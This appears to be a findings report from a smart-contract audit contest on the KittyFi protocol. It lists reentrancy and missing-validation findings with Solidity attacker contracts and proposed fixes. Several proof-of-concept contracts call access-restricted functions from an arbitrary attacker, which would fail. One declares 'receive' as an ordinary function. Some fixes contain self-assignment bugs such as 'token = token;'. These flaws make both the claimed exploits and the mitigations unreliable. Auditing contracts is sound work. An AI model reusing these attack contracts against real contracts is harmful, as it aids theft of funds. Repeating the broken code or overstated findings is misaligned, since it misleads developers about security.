First Flight #21: KittyFi - Findings Report

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Contest Summary

Sponsor: First Flight #21

Dates: Aug 1st, 2024 - Aug 8th, 2024

See more contest details here

Results Summary

Number of findings:

- High: 4
- Medium: 3
- Low: 2

High Risk Findings

H-01. Lack of Validation for Token Addresses in

KittyPool::meownufactureKittyVault

Description: The KittyPool::meownufactureKittyVault function does not validate the _token and _priceFeed addresses, which could lead to the creation of a vault with invalid or malicious addresses.

Impact: Creation of vaults with invalid or malicious addresses could lead to loss of funds or other unexpected behavior.

Proof of Concept: An attacker could potentially call the function with invalid addresses:

```
// Attacker contract
contract AttackKittyPool {
    KittyPool public kittyPool;

    constructor(address _kittyPool) {
        kittyPool = KittyPool(_kittyPool);
    }

    function attack() public {
        // Create a vault with invalid addresses
        kittyPool.meownufactureKittyVault(address(0), address(0));
    }
}
```

Recommended Mitigation: Add validation checks to ensure that addresses are non-zero and valid.

```
function meownufactureKittyVault(address _token, address _priceFeed) external
onlyMeowntainer {
    require(_token != address(0), "Invalid token address");
    require(_priceFeed != address(0), "Invalid price feed address");
    require(tokenToVault[_token] == address(0),
KittyPool__TokenAlreadyExistsMeeoooww());

    address _kittyVault = address(new KittyVault{ salt:
bytes32(abi.encodePacked(ERC20(_token).symbol())) }(_token, address(this),
    _priceFeed, i_euroPriceFeed, meowntainer, i_aavePool));

    tokenToVault[_token] = _kittyVault;
```

```
vaults.push(_kittyVault);
}
```

H-02. Reentrancy Vulnerability in KittyPool::whiskdrawMeowllateral

Description: The KittyPool::whiskdrawMeowllateral function calls an external contract and then performs a state-changing operation. This could lead to a reentrancy attack where the external contract calls back into the KittyPool contract before the state change is completed.

Impact: An attacker could drain funds or cause other unexpected behavior by reentering the contract.

Proof of Concept: An attacker could create a malicious KittyVault contract that reenters the KittyPool contract:

Use the below contract as Malicious Vault Contract:-

```
contract MaliciousKittyVault is KittyVault {
   KittyPool public kittyPool;

   constructor(address _kittyPool) KittyVault(address(0), address(this),
   address(0), address(0), address(0)) {
       kittyPool = KittyPool(_kittyPool);
   }

   function executeWhiskdrawal(address _user, uint256 _cattyNipToWithdraw)
   external override {
       kittyPool.whiskdrawMeowllateral(address(this), 1);
   }
}
```

Use the below contract as Attacker Contract:-

```
contract AttackKittyPool {
    KittyPool public kittyPool;
    MaliciousKittyVault public maliciousVault;

constructor(address _kittyPool) {
    kittyPool = KittyPool(_kittyPool);
    maliciousVault = new MaliciousKittyVault(address(kittyPool));
}

function attack() public {
    // Register the malicious vault
    kittyPool.meownufactureKittyVault(address(maliciousVault),
address(0));

    // Call whiskdrawMeowllateral to start the reentrancy attack
    kittyPool.whiskdrawMeowllateral(address(maliciousVault), 1);
}
```

Recommended Mitigation: Use the Checks-Effects-Interactions pattern to update the state before calling external contracts.

H-03. Lack of Validation for Token Address in KittyVault::constructor function

Description: The constructor does not validate the _token, _kittyPool, _priceFeed, _euroPriceFeed, _meowntainer, and _aavePool addresses, which could lead to setting invalid or malicious addresses.

Impact: Invalid or malicious addresses could lead to loss of funds or other unexpected behavior.

Recommended Mitigation: Add validation checks to ensure that addresses are non-zero and valid.

```
constructor(
   address _token,
   address _kittyPool,
   address _priceFeed,
    address _euroPriceFeed,
    address meowntainer,
   address aavePool
) {
    require(_token != address(0), "Invalid token address");
    require(_kittyPool != address(0), "Invalid kitty pool address");
    require(_priceFeed != address(0), "Invalid price feed address");
    require(_euroPriceFeed != address(0), "Invalid euro price feed address");
    require(_meowntainer != address(0), "Invalid meowntainer address");
    require(_aavePool != address(0), "Invalid aave pool address");
   token = token;
    kittyPool = _kittyPool;
    priceFeed = _priceFeed;
    euroPriceFeed = _euroPriceFeed;
   meowntainer = meowntainer;
    aavePool = _aavePool;
}
```

H-04. Reentrancy Vulnerability in KittyVault::executeWhiskdrawal

Description: The KittyVault::executeWhiskdrawal function calls an external contract to transfer tokens before updating the state, which could lead to a reentrancy attack.

Impact: An attacker could drain funds or cause other unexpected behavior by reentering the contract.

Proof of Concept: An attacker could create a malicious contract that reenters the KittyVault contract:

```
contract Malicious {
   KittyVault public vault;

constructor(address _vault) {
   vault = KittyVault(_vault);
}

function attack() public {
   vault.executeWhiskdrawal(address(this), 1);
}

function receive() external payable {
   vault.executeWhiskdrawal(address(this), 1);
}

}
```

Recommended Mitigation: Use the Checks-Effects-Interactions pattern to update the state before calling external contracts.

```
function executeWhiskdrawal(address _user, uint256 _cattyNipToWithdraw)
external onlyKittyPool {
    collateral[_user] -= _cattyNipToWithdraw;
    IERC20(token).transfer(_user, _cattyNipToWithdraw);
}
```

Medium Risk Findings

M-01. Lack of Validation for KittyCoin::mint and KittyCoin::burn Functions

Description: The absence of validation checks for addresses and amounts in the KittyCoin::mint and KittyCoin::burn functions could allow the KittyPool contract to mint tokens to or burn tokens from unintended or zero addresses, leading to potential token mismanagement or loss.

Impact: Token mismanagement, potential loss or locking of tokens in zero addresses.

Proof of Concept: An attacker could potentially call these functions with zero addresses, leading to loss of tokens:

```
contract AttackKittyCoin {
   KittyCoin public kittyCoin;

constructor(address _kittyCoin) {
    kittyCoin = KittyCoin(_kittyCoin);
}

function attackMint() public {
   // Mint tokens to the zero address
   kittyCoin.mint(address(0), 1000);
}

function attackBurn() public {
   // Burn tokens from the zero address
   kittyCoin.burn(address(0), 1000);
}
```

Recommended Mitigation: Add validation checks to ensure that addresses are non-zero and amounts are greater than zero.

```
function mint(address _to, uint256 _amount) external onlyKittyPool {
    require(_to != address(0), "Invalid address");
    require(_amount > 0, "Invalid amount");
    _mint(_to, _amount);
}

function burn(address _from, uint256 _amount) external onlyKittyPool {
    require(_from != address(0), "Invalid address");
    require(_amount > 0, "Invalid amount");
    _burn(_from, _amount);
}
```

M-02. Private KittyCoin::pool variable initialization

Description: The KittyCoin::pool address is set only during contract deployment and cannot be changed thereafter. The pool address is set only once during contract initialization. If this address needs to be changed (e.g., due to a key compromise or pool upgrade), there is no way to do so.

Impact: Inability to update the pool address in case of an emergency, leading to potential loss of control over minting and burning capabilities.

Recommended Mitigation: Introduce a function to update the pool address with appropriate access control.

```
function setPool(address _newPool) external onlyKittyPool {
    require(_newPool != address(0), "Invalid address");
```

```
pool = _newPool;
}
```

M-03. Lack of Validation for Addresses in KittyPool::constructor function

Description: The constructor does not validate the addresses provided, which could lead to setting invalid or malicious addresses.

Impact: Invalid or malicious addresses could lead to loss of funds or other unexpected behavior.

Recommended Mitigation: Add validation checks to ensure that addresses are non-zero and valid.

```
constructor(address _meowntainer, address _euroPriceFeed, address aavePool) {
    require(_meowntainer != address(0), "Invalid meowntainer address");
    require(_euroPriceFeed != address(0), "Invalid euro price feed address");
    require(aavePool != address(0), "Invalid aave pool address");
    meowntainer = _meowntainer;
    i_kittyCoin = new KittyCoin(address(this));
    i_euroPriceFeed = _euroPriceFeed;
    i_aavePool = aavePool;
}
```

Low Risk Findings

L-01. Inefficient Storage of KittyCoin::pool address

Description: There is the issue of storing the address of the KittyCoin::pool in the contract.

Impact: Storing the pool address in a private state variable costs more gas than storing it in an immutable state variable, which would only store it once during deployment.

Recommended Mitigation: Use an immutable state variable for the pool address.

```
address private immutable pool;

constructor(address _pool) ERC20("Kitty Token", "MEOWDY") {
    pool = _pool;
}
```

L-02. Lack of Validation on _amount parameter in KittyCoin::mint and KittyCoin::burn functions

Description: There is a lack of validation that how much amount is being minted and burned. So there is no validation in these functions.

Impact: Potential for minting or burning zero tokens, which may not be desired behavior.

Recommended Mitigation: Add validation to ensure <u>_amount</u> is greater than zero.

```
function mint(address _to, uint256 _amount) external onlyKittyPool {
    require(_amount > 0, "Mint amount must be greater than zero");
    _mint(_to, _amount);
    emit KittyCoinMinted(_to, _amount);
}

function burn(address _from, uint256 _amount) external onlyKittyPool {
    require(_amount > 0, "Burn amount must be greater than zero");
    _burn(_from, _amount);
    emit KittyCoinBurned(_from, _amount);
}
```